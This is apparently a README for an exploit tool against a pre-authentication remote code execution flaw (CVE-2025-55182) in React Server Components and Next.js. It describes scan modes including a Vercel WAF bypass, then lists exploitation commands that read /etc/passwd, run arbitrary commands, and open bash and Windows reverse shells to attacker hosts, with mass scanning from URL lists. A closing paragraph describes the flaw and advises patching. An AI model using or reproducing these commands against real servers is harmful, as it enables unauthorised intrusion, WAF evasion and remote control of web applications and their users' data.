🔬 Modos de Varredura

rce (padrão): Modo de varredura ativo, executa um comando echo para confirmar a vulnerabilidade. Este é o método mais confiável, mas pode deixar logs no sistema alvo.
safe: Modo de varredura por canal lateral, não executa comandos. Ele verifica uma mensagem de erro específica (E{"digest") para determinar se o alvo é vulnerável. Isto é mais seguro que o modo rce, mas pode ser menos confiável.
vercel_bypass: Usa um payload específico para contornar o WAF da Vercel e verifica a saída do comando no cabeçalho X-Action-Redirect.

Técnicas de codificação diferentes para bypass de WAF

🚀 Exemplos

Varredura```bash

Scan a single URL with the default rce check

python3 CVE-2025-55182.py -u http://target.com

Scan a list of URLs with the `safe` mode and 20 threads

python3 CVE-2025-55182.py -f urls.txt -sm safe -t 20

Scan with Vercel WAF bypass mode and save vulnerable URLs to a file

python3 CVE-2025-55182.py -f urls.txt -sm vercel_bypass -o vulnerable.txt

### Exploração```bash
# Execute a command on a single target
python3 CVE-2025-55182.py -u http://target.com -c "cat /etc/passwd"

# Use WAF bypass techniques
python3 CVE-2025-55182.py -u http://target.com -c "whoami" -wb

# Use a custom payload string
python3 CVE-2025-55182.py -u http://target.com -p "bash -i >& /dev/tcp/LHOST/LPORT 0>&1"

# Use a custom payload from a file (windows target)
python3 CVE-2025-55182.py -u http://target.com -p windows_revshell.sh

# Get a reverse shell (linux default reverse shell) 
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444

# Get a reverse shell using a payload file (linux target)
python3 CVE-2025-55182.py -u http://target.com -p linux_revshell.sh

# Force a windows reverse shell payload if auto-detection fails
python3 CVE-2025-55182.py -u http://target.com -r 10.10.10.1:4444 --os windows

# Intercept in Burpsuite  
python3 CVE-2025-55182.py -u http://target.com -wbu -P http://127.0.0.1:8080

Descrição	Uma vulnerabilidade crítica de Execução Remota de Código (RCE) em React Server Components. Aplicações que usam o runtime server-side do React, incluindo frameworks como Next.js, são afetadas. O problema é causado por desserialização insegura de dados não confiáveis do protocolo “Flight”, permitindo que um atacante obtenha execução de código antes da autenticação no servidor. É necessário atualizar para versões corrigidas do React e do framework.
